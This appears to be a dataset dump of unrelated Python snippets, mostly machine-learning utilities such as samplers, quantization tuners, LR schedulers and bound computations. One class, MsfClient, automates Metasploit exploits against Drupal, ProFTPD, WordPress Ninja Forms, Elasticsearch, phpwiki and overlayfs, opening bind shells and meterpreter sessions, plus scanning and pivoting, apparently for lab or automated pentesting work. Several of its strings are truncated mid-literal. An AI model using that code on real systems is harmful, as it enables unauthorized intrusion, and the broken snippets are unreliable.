code
stringlengths
101
5.91M
class RandomSubsetTrainingSampler(TrainingSampler): def __init__(self, size: int, subset_ratio: float, shuffle: bool=True, seed_shuffle: Optional[int]=None, seed_subset: Optional[int]=None): super().__init__(size=size, shuffle=shuffle, seed=seed_shuffle) assert (0.0 < subset_ratio <= 1.0) self._size_subset = int((size * subset_ratio)) assert (self._size_subset > 0) if (seed_subset is None): seed_subset = comm.shared_random_seed() self._seed_subset = int(seed_subset) g = torch.Generator() g.manual_seed(self._seed_subset) indexes_randperm = torch.randperm(self._size, generator=g) self._indexes_subset = indexes_randperm[:self._size_subset] logger.info('Using RandomSubsetTrainingSampler......') logger.info(f'Randomly sample {self._size_subset} data from the original {self._size} data') def _infinite_indices(self): g = torch.Generator() g.manual_seed(self._seed) while True: if self._shuffle: randperm = torch.randperm(self._size_subset, generator=g) (yield from self._indexes_subset[randperm].tolist()) else: (yield from self._indexes_subset.tolist())
def validate(a_l, b_l, c_l, a_u, b_u, c_u, x_minus, x_plus, y_minus, y_plus, verify_and_modify_all=False, max_iter=100, plot=False, eps=1e-05, print_info=True): original_shape = c_l.shape a_l_new = a_l.view((- 1)) b_l_new = b_l.view((- 1)) c_l_new = c_l.view((- 1)) a_u_new = a_u.view((- 1)) b_u_new = b_u.view((- 1)) c_u_new = c_u.view((- 1)) x_minus_new = x_minus.view((- 1)) x_plus_new = x_plus.view((- 1)) y_minus_new = y_minus.view((- 1)) y_plus_new = y_plus.view((- 1)) N = a_l_new.size(0) if verify_and_modify_all: max_iter = N for i in range(max_iter): if verify_and_modify_all: n = i else: n = torch.randint(0, N, [1]) n = n.long() (hl_fl, hu_fu) = plot_2_surface(x_minus_new[n], x_plus_new[n], y_minus_new[n], y_plus_new[n], a_l_new[n], b_l_new[n], c_l_new[n], a_u_new[n], b_u_new[n], c_u_new[n], plot=plot) if print_info: print(('tanh sigmoid iter: %d num: %d hl-f max %.6f mean %.6f hu-f min %.6f mean %.6f' % (i, n, hl_fl.max(), hl_fl.mean(), hu_fu.min(), hu_fu.mean()))) if (hl_fl.max() > eps): print(x_minus_new[n], x_plus_new[n], y_minus_new[n], y_plus_new[n], a_l_new[n], b_l_new[n], c_l_new[n], a_u_new[n], b_u_new[n], c_u_new[n]) plot_surface(x_minus_new[n], x_plus_new[n], y_minus_new[n], y_plus_new[n], a_l_new[n], b_l_new[n], c_l_new[n]) print('hl-f max', hl_fl.max()) raise Exception('lower plane fail') break if ((hl_fl.max() > 0) and verify_and_modify_all): c_l_new[n] = (c_l_new[n] - (hl_fl.max() * 2)) if (hu_fu.min() < (- eps)): print(x_minus_new[n], x_plus_new[n], y_minus_new[n], y_plus_new[n], a_l_new[n], b_l_new[n], c_l_new[n], a_u_new[n], b_u_new[n], c_u_new[n]) plot_surface(x_minus_new[n], x_plus_new[n], y_minus_new[n], y_plus_new[n], a_u_new[n], b_u_new[n], c_u_new[n]) print('hu-f min', hu_fu.min()) raise Exception('upper plane fail') break if ((hu_fu.min() < 0) and verify_and_modify_all): c_u_new[n] = (c_u_new[n] - (hu_fu.min() * 2)) c_l_new = c_l_new.view(original_shape) c_u_new = c_u_new.view(original_shape) return (c_l_new, c_u_new)
def prepare_dataset(training_file: str, K: int=None): sessions = read_sessions_from_training_file(training_file, K) (x, y) = prepare_training_data(sessions) return {'X': x, 'y': y}
_registry class MSETuneStrategy(TuneStrategy): def __init__(self, model, conf, q_dataloader=None, q_func=None, eval_func=None, eval_dataloader=None, eval_metric=None, resume=None, q_hooks=None): super().__init__(model=model, conf=conf, q_dataloader=q_dataloader, q_func=q_func, eval_func=eval_func, eval_dataloader=eval_dataloader, eval_metric=eval_metric, resume=resume, q_hooks=q_hooks) logger.info('*** Initialize MSE tuning') self.ordered_ops = None def __getstate__(self): for history in self.tuning_history: if self._same_conf(history['cfg'], self.conf): history['ordered_ops'] = self.ordered_ops save_dict = super().__getstate__() return save_dict def _mse_metric_gap(self, fp32_tensor, dequantize_tensor): fp32_max = np.max(fp32_tensor) fp32_min = np.min(fp32_tensor) dequantize_max = np.max(dequantize_tensor) dequantize_min = np.min(dequantize_tensor) fp32_tensor = ((fp32_tensor - fp32_min) / (fp32_max - fp32_min)) dequantize_tensor = ((dequantize_tensor - dequantize_min) / (dequantize_max - dequantize_min)) diff_tensor = (fp32_tensor - dequantize_tensor) euclidean_dist = np.sum((diff_tensor ** 2)) return (euclidean_dist / fp32_tensor.size) def mse_impact_lst(self, op_list: List, fp32_model, best_qmodel): op_name_lst = [element[0] for element in op_list] op_mapping = {} for (op_name, op_type) in list(op_list): op_mapping[op_name] = (op_name, op_type) current_best_tune_cfg = self._tune_cfg_converter(self.cur_best_tuning_cfg) fp32_dump_content = self.adaptor.inspect_tensor(fp32_model, self.calib_dataloader, op_name_lst, [1], inspect_type='activation', save_to_disk=True, save_path='./nc_workspace/', quantization_cfg=current_best_tune_cfg) fp32_tensor_dict = fp32_dump_content['activation'][0] best_qmodel = self.adaptor.quantize(current_best_tune_cfg, self.model, self.calib_dataloader, self.q_func) quant_dump_content = self.adaptor.inspect_tensor(best_qmodel, self.calib_dataloader, op_name_lst, [1], inspect_type='activation', save_to_disk=True, save_path='./nc_workspace/', quantization_cfg=current_best_tune_cfg) dequantize_tensor_dict = quant_dump_content['activation'][0] ops_mse = {op: self._mse_metric_gap(list(fp32_tensor_dict[op].values())[0], list(dequantize_tensor_dict[op].values())[0]) for op in fp32_tensor_dict} ordered_op_names = sorted(ops_mse.keys(), key=(lambda key: ops_mse[key]), reverse=self.higher_is_better) ordered_op_name_types = [op_mapping[name] for name in ordered_op_names] return ordered_op_name_types def next_tune_cfg(self): tuning_space = self.tuning_space calib_sampling_size_lst = tuning_space.root_item.get_option_by_name('calib_sampling_size').options for calib_sampling_size in calib_sampling_size_lst: (op_item_dtype_dict, quant_mode_wise_items, initial_op_tuning_cfg) = self.initial_tuning_cfg() early_stop_tuning = True stage1_cnt = 0 int8_ops = (quant_mode_wise_items['static'] if ('static' in quant_mode_wise_items) else []) int8_ops += (quant_mode_wise_items['dynamic'] if ('dynamic' in quant_mode_wise_items) else []) stage1_max = min(5, len(int8_ops)) op_wise_tuning_sampler = OpTypeWiseTuningSampler(tuning_space, [], [], op_item_dtype_dict, initial_op_tuning_cfg) for op_tuning_cfg in op_wise_tuning_sampler: stage1_cnt += 1 if (early_stop_tuning and (stage1_cnt > stage1_max)): logger.info('Early stopping the stage 1.') break op_tuning_cfg['calib_sampling_size'] = calib_sampling_size (yield op_tuning_cfg) static_dynamic_items = [item for item in tuning_space.query_items_by_quant_mode('static') if (item in tuning_space.query_items_by_quant_mode('dynamic'))] if static_dynamic_items: logger.info('Fallback all ops that support both dynamic and static to dynamic.') else: logger.info('No op support both dynamic and static') new_op_tuning_cfg = deepcopy(self.cur_best_tuning_cfg) for item in static_dynamic_items: new_op_tuning_cfg[item.name] = self.initial_dynamic_cfg_based_on_static_cfg(new_op_tuning_cfg[item.name]) new_op_tuning_cfg['calib_sampling_size'] = calib_sampling_size (yield new_op_tuning_cfg) best_op_tuning_cfg_stage1 = deepcopy(self.cur_best_tuning_cfg) for target_dtype in ['bf16', 'fp32']: fallback_items_lst = [item for item in int8_ops if (item in tuning_space.query_items_by_quant_mode(target_dtype))] if fallback_items_lst: logger.info(f'Start to fallback op to {target_dtype} one by one.') fallback_items_name_lst = [item.name for item in fallback_items_lst] ordered_op_name_types = self.mse_impact_lst(fallback_items_name_lst, self.model, self.best_qmodel) self.ordered_ops = [op_name for (op_name, op_type) in ordered_op_name_types] op_dtypes = OrderedDict(zip(ordered_op_name_types, ([target_dtype] * len(fallback_items_name_lst)))) initial_op_tuning_cfg = deepcopy(best_op_tuning_cfg_stage1) fallback_sampler = FallbackTuningSampler(tuning_space, tuning_order_lst=[], initial_op_tuning_cfg=initial_op_tuning_cfg, op_dtypes=op_dtypes, accumulate=False) op_fallback_acc_impact = OrderedDict() for (op_index, op_tuning_cfg) in enumerate(fallback_sampler): op_tuning_cfg['calib_sampling_size'] = calib_sampling_size (yield op_tuning_cfg) (acc, _) = self.last_tune_result op_fallback_acc_impact[fallback_items_name_lst[op_index]] = acc if (len(op_fallback_acc_impact) > 0): ordered_ops = sorted(op_fallback_acc_impact.keys(), key=(lambda key: op_fallback_acc_impact[key]), reverse=self.higher_is_better) op_dtypes = OrderedDict(zip(ordered_ops, ([target_dtype] * len(fallback_items_name_lst)))) logger.info(f'Start to accumulate fallback to {target_dtype}.') initial_op_tuning_cfg = deepcopy(best_op_tuning_cfg_stage1) fallback_sampler = FallbackTuningSampler(tuning_space, tuning_order_lst=[], initial_op_tuning_cfg=initial_op_tuning_cfg, op_dtypes=op_dtypes, accumulate=True) for op_tuning_cfg in fallback_sampler: op_tuning_cfg['calib_sampling_size'] = calib_sampling_size (yield op_tuning_cfg)
class MsfClient(): def __init__(self, password, lhost, host='127.0.0.1', port=55553): self.logger = logging.getLogger('MsfClient') self.logger.info(f'Connecting to msfrpcd at {host}:{port}') self.client = MsfRpcClient(password, host=host, port=port, ssl=True) self.lhost = lhost self.console = self.client.consoles.console() def get_sessions(self): return self.client.sessions.list def get_sessions_filtered(self, ip=None, user=None, session_type=None): sessions = self.get_sessions() if (ip is not None): sessions = {k: v for (k, v) in sessions.items() if (v['target_host'] == ip)} if (user is not None): sessions = {k: v for (k, v) in sessions.items() if (v['username'] == user)} if (session_type is not None): sessions = {k: v for (k, v) in sessions.items() if (v['type'] == session_type)} return sessions def run_shell_command(self, session_id, cmd, os='linux'): session = self.get_sessions()[str(session_id)] self.logger.info(f"Running `{cmd}` at #{session_id} ({session['session_host']})") session_cmd = self.client.sessions.session(str(session_id)) if (os == 'linux'): command_string = f'{cmd}' elif (os == 'windows'): command_string = f'cmd /c "{cmd}"' else: raise RuntimeError(f'Unknown OS {os}.') result = self.run_module(module_type='post', module_name='multi/general/execute', module_params={'COMMAND': command_string, 'SESSION': int(session_id)}) def find_between(s, first, last): try: start = (s.index(first) + len(first)) end = s.index(last, start) return s[start:end] except ValueError: return '' result = find_between(result, '[*] Response: ', '[*] Post module execution completed') result = result.rstrip() return result def wait_for_job(self, job_id, timeout=0): seconds_elapsed = 0 while True: jobs = self.client.jobs.list if ((timeout > 0) and (seconds_elapsed >= timeout)): self.client.jobs.stop(job_id) return False if (str(job_id) not in jobs.keys()): return True time.sleep(1) seconds_elapsed += 1 def get_session_id(self, result, rhost): result = [line for line in result.split('\n') if ('[*] Session ' in line)] if (len(result) == 0): self.logger.info('No session created.') return None session_id = re.match('.* Session (\\d+) created .*', result[0]).group(1) self.logger.info(f'Opened new session #{session_id} for {rhost}') return session_id def run_module(self, module_type, module_name, module_params, payload_name=None, payload_params=None, forced_params=None, run_with_console=True, verbose=False): self.logger.info(f'Executing {module_type}:{module_name} with params {module_params}') module = self.client.modules.use(module_type, module_name) for (pkey, pval) in module_params.items(): if (pkey == 'target'): module.target = pval else: module[pkey] = pval if verbose: module.runoptions['VERBOSE'] = 'true' module.runoptions['DEBUG'] = 'true' if (payload_name is not None): payload = self.client.modules.use('payload', payload_name) for (pkey, pval) in payload_params.items(): if (pkey == 'encoder'): payload.runoptions[pkey] = pval else: payload[pkey] = pval else: payload = None if (forced_params is not None): for (pkey, pval) in forced_params.items(): module._runopts[pkey] = pval if run_with_console: output = self.console.run_module_with_output(module, payload=payload, timeout=180) self.logger.debug(output) return output else: job = module.execute(payload=payload) job_id = job['job_id'] self.wait_for_job(job_id) return None def run_msf_command(self, cmd): self.logger.info(f'Executing msfconsole command: `{cmd}`') console = self.console console.read() console.write(cmd) output = '' timer = 0 timeout = 300 while ((output == '') or console.is_busy()): time.sleep(5) output += console.read()['data'] timer += 5 if (timer > timeout): break self.logger.debug(output) return output def add_route(self, ip, mask, session_id): cmd = f'route add {ip}/{mask} {session_id}' self.run_msf_command(cmd) def exploit_drupal_coder_exec(self, rhost): result = self.run_module(module_type='exploit', module_name='unix/webapp/drupal_coder_exec', module_params={'RHOSTS': rhost, 'TARGETURI': '/drupal'}, payload_name='cmd/unix/bind_netcat', payload_params={'LPORT': 8181}) return self.get_session_id(result, rhost) def exploit_proftpd_modcopy_exec(self, rhost): result = self.run_module(module_type='exploit', module_name='unix/ftp/proftpd_modcopy_exec', module_params={'RHOSTS': rhost, 'SITEPATH': '/var/www/uploads/', 'TARGETURI': '/uploads/'}, payload_name='cmd/unix/bind_perl', payload_params={'LPORT': 8181}) return self.get_session_id(result, rhost) def exploit_wp_ninja_forms_unauthenticated_file_upload(self, rhost): result = self.run_module(module_type='exploit', module_name='multi/ module_params={'RHOSTS': rhost, 'TARGETURI': '/wordpress/', 'FORM_PATH': 'index.php/king-of-hearts/', 'RPORT': '80', 'AllowNoCleanup': True}, payload_name='php/download_exec', payload_params={'URL': ' result = self.run_module(module_type='exploit', module_name='multi/handler', module_params={}, payload_name='windows/meterpreter/bind_tcp', payload_params={'RHOST': rhost, 'LPORT': 4444}) return self.get_session_id(result, rhost) def exploit_elasticsearch_script_mvel_rce(self, rhost): result = self.run_module(module_type='exploit', module_name='multi/elasticsearch/script_mvel_rce', module_params={'RHOSTS': rhost}, payload_name='java/meterpreter/bind_tcp', payload_params={'LPORT': 4444}, forced_params={'LHOST': None}) return self.get_session_id(result, rhost) def exploit_phpwiki_ploticus_exec(self, rhost): result = self.run_module(module_type='exploit', module_name='multi/ module_params={'RHOSTS': rhost, 'TARGETURI': '/phpwiki/'}, payload_name='generic/shell_bind_tcp', payload_params={'LPORT': 8181, 'encoder': 'php/base64'}) return self.get_session_id(result, rhost) def privesc_overlayfs_priv_esc(self, rhost, session_id): result = self.run_module(module_type='exploit', module_name='linux/local/overlayfs_priv_esc', module_params={'SESSION': session_id, 'target': 0}, payload_name='linux/x86/shell/bind_tcp', payload_params={'RHOST': rhost, 'LPORT': 8181}) return self.get_session_id(result, rhost) def post_shell_to_meterpreter(self, session_id): self.run_module(module_type='post', module_name='multi/manage/shell_to_meterpreter', module_params={'SESSION': session_id, 'LPORT': 8181, 'HANDLER': False, 'PAYLOAD_OVERRIDE': 'linux/x86/meterpreter/bind_tcp'}) time.sleep(5) rhost = self.get_sessions()[str(session_id)]['target_host'] result = self.run_module(module_type='exploit', module_name='multi/handler', module_params={}, payload_name='linux/x86/meterpreter/bind_tcp', payload_params={'RHOST': rhost, 'LPORT': 8181}) return self.get_session_id(result, rhost) def scan_portscan(self, rhosts, ports, threads=10): result = self.run_module(module_type='auxiliary', module_name='scanner/portscan/tcp', module_params={'RHOSTS': rhosts, 'PORTS': ports, 'THREADS': threads}) result = [line for line in result.split('\n') if ('TCP OPEN' in line)] result = [re.match('.*- ([\\.\\d:]+) - .*', x).group(1) for x in result] self.logger.info(f'Scan result: {result}') return result def scan_dir_scanner(self, rhosts, port, threads=1): result = self.run_module(module_type='auxiliary', module_name='scanner/ module_params={'RHOSTS': rhosts, 'RPORT': port, 'THREADS': threads, 'DICTIONARY': '/vagrant/ run_with_console=True) result = [line for line in result.split('\n') if (('[+] Found' in line) and (' 200 ' in line))] print(result) result = [re.match('.* [0-9]+ .*', x).group(1) for x in result] self.logger.info(f'Folders found on the Http service: {result}') return result def scan_ping_sweep(self, rhosts, session_id): result = self.run_module(module_type='post', module_name='multi/gather/ping_sweep', module_params={'RHOSTS': rhosts, 'SESSION': session_id}) result = [line for line in result.split('\n') if ('host found' in line)] result = [re.match('.*\\t([\\.\\d]+) .*', x).group(1) for x in result] self.logger.info(f'Scan result: {result}') return result def scan_os_smb(self, rhost): result = self.run_module(module_type='auxiliary', module_name='scanner/smb/smb_version', module_params={'RHOSTS': rhost}, run_with_console=True) nresult = [] for line in result.split('\n'): if ('Host is running' in line): nresult.append(('linux' if ('Samba' in line) else ('windows' if ('Windows' in line) else None))) elif ('Host could not be identified:' in line): nresult.append(('linux' if ('Samba' in line) else ('windows' if (re.search('Windows.*Windows', line) is not None) else None))) self.logger.info(f'Scan result: {nresult}') return nresult def get_os_by_cmd(self, session_id): if ('Linux' in self.run_shell_command(session_id, 'uname')): return 'linux' if ('Windows' in self.run_shell_command(session_id, 'cmd /c ver', os='windows')): return 'windows' if ('Linux' in self.run_shell_command(session_id, 'cat /proc/version')): return 'linux' self.logger.warning(f'Os detection failed for session {session_id}') return None def is_session_meterpreter(self, session_id): sessions = self.get_sessions() if (session_id not in sessions): self.logger.warning(f'Impossible to check session type, session {session_id} not found') return False return (sessions[session_id]['type'] == 'meterpreter')
def dobldobl_solve(pols, verbose=True, tasks=0, dictionary_output=False, verbose_level=0): from phcpy.phcpy2c3 import py2c_syscon_clear_dobldobl_Laurent_system from phcpy.phcpy2c3 import py2c_syscon_initialize_number_of_dobldobl_Laurentials from phcpy.phcpy2c3 import py2c_syscon_store_dobldobl_Laurential from phcpy.phcpy2c3 import py2c_solcon_clear_dobldobl_solutions from phcpy.phcpy2c3 import py2c_solve_dobldobl_Laurent_system from phcpy.interface import load_dobldobl_solutions py2c_syscon_clear_dobldobl_Laurent_system() py2c_solcon_clear_dobldobl_solutions() dim = len(pols) py2c_syscon_initialize_number_of_dobldobl_Laurentials(dim) for ind in range(0, dim): pol = pols[ind] nchar = len(pol) py2c_syscon_store_dobldobl_Laurential(nchar, dim, (ind + 1), pol) silent = (not verbose) if silent: py2c_solve_dobldobl_Laurent_system(silent, tasks, verbose_level) else: (rc, counts) = py2c_solve_dobldobl_Laurent_system(silent, tasks, verbose_level) if (counts != ''): print(counts) sols = load_dobldobl_solutions() if dictionary_output: from phcpy.solutions import formdictlist return formdictlist(sols, 'dd') else: return sols
class CascadingBandit(Environment): def __init__(self, num_items, num_positions, a0, b0): assert (num_items >= num_positions) self.num_items = num_items self.num_positions = num_positions self.a0 = a0 self.b0 = b0 self.probs = np.array([np.random.beta(a0, b0) for a in range(num_items)]) probs_ordered = np.sort(self.probs)[::(- 1)] self.optimal_reward = (1 - np.prod((1 - probs_ordered[:num_positions]))) self.round_failure = [] self.round_success = [] def get_observation(self): observation = {'round_failure': self.round_failure, 'round_success': self.round_success} return observation def get_optimal_reward(self): return self.optimal_reward def get_expected_reward(self, action_list): assert (len(action_list) == self.num_positions) action_probs = self.probs[action_list] expected_reward = (1 - np.prod((1 - action_probs))) return expected_reward def get_stochastic_reward(self, action_list): assert (len(action_list) == self.num_positions) self.round_failure = [] self.round_success = [] for action in action_list: click = np.random.binomial(1, self.probs[action]) if (click == 1): self.round_success += [action] return click else: self.round_failure += [action] return 0
class SimpleDatasetPredictor(DatasetPredictorBase): def __init__(self, config, dataset): super(SimpleDatasetPredictor, self).__init__(config, dataset) self.predictor = OfflinePredictor(config) def get_result(self): self.dataset.reset_state() try: sz = self.dataset.size() except NotImplementedError: sz = 0 with get_tqdm(total=sz, disable=(sz == 0)) as pbar: for dp in self.dataset.get_data(): res = self.predictor(dp) (yield res) pbar.update()
def get_bound_for_relu(l, u, adaptive=False): device = l.device ku = torch.zeros(u.shape, device=device) bu = torch.zeros(u.shape, device=device) kl = torch.zeros(l.shape, device=device) bl = torch.zeros(l.shape, device=device) idx = (l >= 0) kl[idx] = 1 ku[idx] = 1 idx = ((l < 0) * (u > 0)) k = (u / (u - l))[idx] b = ((1 - k) * u[idx]) ku[idx] = k bu[idx] = b if (not adaptive): kl[idx] = k else: idx = (((l < 0) * (u > 0)) * (u.abs() >= l.abs())) kl[idx] = 1 idx = (((l < 0) * (u > 0)) * (u.abs() < l.abs())) kl[idx] = 0 return (kl, bl, ku, bu)
def four_models(df, name, startday, k, three=False, c0=1, mu=0.5): lin_future_predictions = [] sep_exp_future_predictions = [] shared_exp_future_predictions = [] ensemble = [] for i in range(startday, ((df.shape[0] - k) + 1)): tmp = df[:i] d = {'Name': [name], 'hospitalizations': [tmp]} df_mod = pd.DataFrame(data=d) shared_future_pred = fit_and_predict_shared_exponential(df_mod, mode='predict_future', outcome='hospitalizations', demographic_vars=[], target_day=np.array([k]), verbose=False) shared_exp_future_predictions.append(shared_future_pred[0][0]) if (three == False): ensemble_future_prediction = fit_and_predict_ensemble(df_mod, target_day=np.array([k]), outcome='hospitalizations', methods=[shared_exponential, linear], mode='predict_future', verbose=False, weight_c0=c0, weight_mu=mu)[('predicted_hospitalizations_ensemble_' + str(k))].values[0][0] ensemble.append(ensemble_future_prediction) tmp = tmp.reshape(1, tmp.shape[0]) lin_pred_future = linear_fit(tmp, 'predict_future', target_day=np.array([k])) lin_future_predictions.append(lin_pred_future[0][0]) sep_exp_pred_future = exponential_fit(tmp, 'predict_future', target_day=np.array([k])) sep_exp_future_predictions.append(sep_exp_pred_future[0][0]) return [np.array(lin_future_predictions), np.array(sep_exp_future_predictions), np.array(shared_exp_future_predictions), np.array(ensemble)]
def build_ox_model2(): A = helper.make_tensor_value_info('A', TensorProto.FLOAT, [1, 5, 5]) D = helper.make_tensor_value_info('D', TensorProto.FLOAT, [1, 5, 2]) H = helper.make_tensor_value_info('H', TensorProto.FLOAT, [1, 5, 2]) F = helper.make_tensor_value_info('F', TensorProto.FLOAT, [1, 5, 2]) e_value = np.random.randint(2, size=10).astype(np.float32) B_init = helper.make_tensor('B', TensorProto.FLOAT, [5, 2], e_value.reshape(10).tolist()) E_init = helper.make_tensor('E', TensorProto.FLOAT, [1, 5, 2], e_value.reshape(10).tolist()) matmul_node = onnx.helper.make_node('MatMul', ['A', 'B'], ['C'], name='Matmul') add = onnx.helper.make_node('Add', ['C', 'E'], ['D'], name='add') add2 = onnx.helper.make_node('Add', ['D', 'F'], ['H'], name='add2') graph = helper.make_graph([matmul_node, add, add2], 'test_graph_1', [A, F], [H], [B_init, E_init]) model = helper.make_model(graph) model = helper.make_model(graph, **{'opset_imports': [helper.make_opsetid('', 13)]}) return model
class Classifier(object): def __init__(self, D_layers): self.D_layers = D_layers self.params = [] for layer in self.D_layers: self.params = (self.params + layer.params) def encode(self, input): output = input for layer in self.D_layers: output = layer.encode(output) return output def get_name(self): return 'classifier'
class CyclicLR(_LRScheduler): def __init__(self, optimizer, base_lr, max_lr, step_size_up=2000, step_size_down=None, mode='triangular', gamma=1.0, scale_fn=None, scale_mode='cycle', cycle_momentum=True, base_momentum=0.8, max_momentum=0.9, last_epoch=(- 1)): self.optimizer = optimizer base_lrs = self._format_param('base_lr', optimizer, base_lr) if (last_epoch == (- 1)): for (lr, group) in zip(base_lrs, optimizer.param_groups): group['lr'] = lr self.max_lrs = self._format_param('max_lr', optimizer, max_lr) step_size_up = float(step_size_up) step_size_down = (float(step_size_down) if (step_size_down is not None) else step_size_up) self.total_size = (step_size_up + step_size_down) self.step_ratio = (step_size_up / self.total_size) if ((mode not in ['triangular', 'triangular2', 'exp_range']) and (scale_fn is None)): raise ValueError('mode is invalid and scale_fn is None') self.mode = mode self.gamma = gamma if (scale_fn is None): if (self.mode == 'triangular'): self.scale_fn = self._triangular_scale_fn self.scale_mode = 'cycle' elif (self.mode == 'triangular2'): self.scale_fn = self._triangular2_scale_fn self.scale_mode = 'cycle' elif (self.mode == 'exp_range'): self.scale_fn = self._exp_range_scale_fn self.scale_mode = 'iterations' else: self.scale_fn = scale_fn self.scale_mode = scale_mode self.cycle_momentum = cycle_momentum if cycle_momentum: if ('momentum' not in optimizer.defaults): raise ValueError('optimizer must support momentum with `cycle_momentum` option enabled') base_momentums = self._format_param('base_momentum', optimizer, base_momentum) if (last_epoch == (- 1)): for (momentum, group) in zip(base_momentums, optimizer.param_groups): group['momentum'] = momentum self.base_momentums = list(map((lambda group: group['momentum']), optimizer.param_groups)) self.max_momentums = self._format_param('max_momentum', optimizer, max_momentum) super(CyclicLR, self).__init__(optimizer, last_epoch) def _format_param(self, name, optimizer, param): if isinstance(param, (list, tuple)): if (len(param) != len(optimizer.param_groups)): raise ValueError('expected {} values for {}, got {}'.format(len(optimizer.param_groups), name, len(param))) return param else: return ([param] * len(optimizer.param_groups)) def _triangular_scale_fn(self, x): return 1.0 def _triangular2_scale_fn(self, x): return (1 / (2.0 ** (x - 1))) def _exp_range_scale_fn(self, x): return (self.gamma ** x) def get_lr(self): cycle = math.floor((1 + (self.last_epoch / self.total_size))) x = ((1.0 + (self.last_epoch / self.total_size)) - cycle) if (x <= self.step_ratio): scale_factor = (x / self.step_ratio) else: scale_factor = ((x - 1) / (self.step_ratio - 1)) lrs = [] for (base_lr, max_lr) in zip(self.base_lrs, self.max_lrs): base_height = ((max_lr - base_lr) * scale_factor) if (self.scale_mode == 'cycle'): lr = (base_lr + (base_height * self.scale_fn(cycle))) else: lr = (base_lr + (base_height * self.scale_fn(self.last_epoch))) lrs.append(lr) if self.cycle_momentum: momentums = [] for (base_momentum, max_momentum) in zip(self.base_momentums, self.max_momentums): base_height = ((max_momentum - base_momentum) * scale_factor) if (self.scale_mode == 'cycle'): momentum = (max_momentum - (base_height * self.scale_fn(cycle))) else: momentum = (max_momentum - (base_height * self.scale_fn(self.last_epoch))) momentums.append(momentum) for (param_group, momentum) in zip(self.optimizer.param_groups, momentums): param_group['momentum'] = momentum return lrs
def main(): app = gui.Application.instance app.initialize() pcd_data = o3d.data.DemoICPPointClouds() cloud = o3d.io.read_point_cloud(pcd_data.paths[0]) ex = ExampleApp(cloud) app.run()
def unique(results): total_dupes = 0 total = 0 for res in results: original_num = len(res) test_data = set(res) new_num = len(test_data) total_dupes += (original_num - new_num) total += original_num return (1 - (total_dupes / float(total)))
def parse_guidance_query(query): messages = [] start_tokens = ['{{#system~}}', '{{#assistant~}}', '{{#user~}}'] position = (- 1) next_token = None for token in start_tokens: next_position = query.find(token) if ((next_position != (- 1)) and ((position == (- 1)) or (next_position < position))): position = next_position next_token = token if (next_token == start_tokens[0]): end_pos = query.find('{{~/system}}') messages.append({'role': 'system', 'content': query[(position + len(start_tokens[0])):end_pos].strip()}) if (next_token == start_tokens[1]): end_pos = query.find('{{~/assistant}}') messages.append({'role': 'assistant', 'content': query[(position + len(start_tokens[1])):end_pos].strip()}) if (next_token == start_tokens[2]): end_pos = query.find('{{~/user}}') messages.append({'role': 'user', 'content': query[(position + len(start_tokens[2])):end_pos].strip()}) if ((next_token is not None) and (len(query[end_pos:]) > 15)): messages.extend(parse_guidance_query(query[end_pos:])) return messages
def output_ranklist(img_results, img_infos, out_file): assert utils.is_type_list(img_results, dict) assert utils.is_type_list(img_infos, dict) assert isinstance(out_file, str) assert out_file.endswith('json') sorted_results = [] for (idx, result) in enumerate(img_results): name = img_infos[idx]['file_name'] img_result = result img_result['file_name'] = name sorted_results.append(img_result) sorted_results = sorted(sorted_results, key=itemgetter('hmean'), reverse=False) mmcv.dump(sorted_results, file=out_file) return sorted_results
def load_adaptive_records(path, algo): records = [] for (i, subdir) in tqdm.tqdm(list(enumerate(os.listdir(path))), ncols=80, leave=False): results_path = os.path.join(path, subdir, 'results_{}.jsonl'.format(algo)) try: with open(results_path, 'r') as f: for line in f: records.append(json.loads(line[:(- 1)])) except IOError: pass return Q(records)
class TqdmProgressFileReader(): def __init__(self, f: io.BufferedReader): self.f = f self.total_size = os.fstat(f.fileno()).st_size self.pbar = tqdm(total=self.total_size, leave=False) self.read = f.read f.read = self._read def _read(self, n=(- 1)): self.pbar.update(n) return self.read(n) def close(self): self.pbar.close()
class ApproxExploitabilityP2SROManagerLogger(SimpleP2SROManagerLogger): def __init__(self, p2sro_manger, log_dir: str, scenario: PSROScenario): super(ApproxExploitabilityP2SROManagerLogger, self).__init__(p2sro_manger=p2sro_manger, log_dir=log_dir) self._scenario = scenario self._exploitability_per_generation = [] self._total_steps_per_generation = [] self._total_episodes_per_generation = [] self._num_policies_per_generation = [] self._payoff_table_checkpoint_nums = [] self._payoff_table_checkpoint_paths = [] self._policy_nums_checkpoint_paths = [] self._exploitability_stats_save_path = os.path.join(log_dir, 'approx_exploitability_stats.json') ensure_dir(self._exploitability_stats_save_path) def on_active_policy_moved_to_fixed(self, player: int, policy_num: int, fixed_policy_spec: StrategySpec): current_checkpoint_num = self.get_current_checkpoint_num() super(ApproxExploitabilityP2SROManagerLogger, self).on_active_policy_moved_to_fixed(player=player, policy_num=policy_num, fixed_policy_spec=fixed_policy_spec) data = self._manager.get_copy_of_latest_data() (latest_payoff_table, active_policy_nums_per_player, fixed_policy_nums_per_player) = data if ((len(fixed_policy_nums_per_player[0]) < 1) or (len(fixed_policy_nums_per_player[1]) < 1)): return if (not np.array_equal(fixed_policy_nums_per_player[0], fixed_policy_nums_per_player[1])): return n_policies = len(fixed_policy_nums_per_player[0]) latest_policy_index = max(fixed_policy_nums_per_player[0]) policy_spec_added_this_gen = [latest_payoff_table.get_spec_for_player_and_pure_strat_index(player=p, pure_strat_index=(n_policies - 1)) for p in range(2)] exploitability_this_gen = np.mean([policy_spec_added_this_gen[p].metadata['average_br_reward'] for p in range(2)]) logger.info(f'{n_policies} policies, {exploitability_this_gen} approx exploitability') latest_policy_steps = sum((policy_spec_added_this_gen[p].metadata['timesteps_training_br'] for p in range(2))) latest_policy_episodes = sum((policy_spec_added_this_gen[p].metadata['episodes_training_br'] for p in range(2))) if (latest_policy_index > 0): total_steps_this_generation = (latest_policy_steps + self._total_steps_per_generation[(latest_policy_index - 1)]) total_episodes_this_generation = (latest_policy_episodes + self._total_episodes_per_generation[(latest_policy_index - 1)]) else: total_steps_this_generation = latest_policy_steps total_episodes_this_generation = latest_policy_episodes self._exploitability_per_generation.append(exploitability_this_gen) self._total_steps_per_generation.append(total_steps_this_generation) self._total_episodes_per_generation.append(total_episodes_this_generation) self._num_policies_per_generation.append(n_policies) self._payoff_table_checkpoint_nums.append(current_checkpoint_num) self._payoff_table_checkpoint_paths.append(self.get_latest_numbered_payoff_table_checkpoint_path()) self._policy_nums_checkpoint_paths.append(self.get_latest_numbered_policy_nums_path()) stats_out = {'num_policies': self._num_policies_per_generation, 'approx_exploitability': self._exploitability_per_generation, 'timesteps': self._total_steps_per_generation, 'episodes': 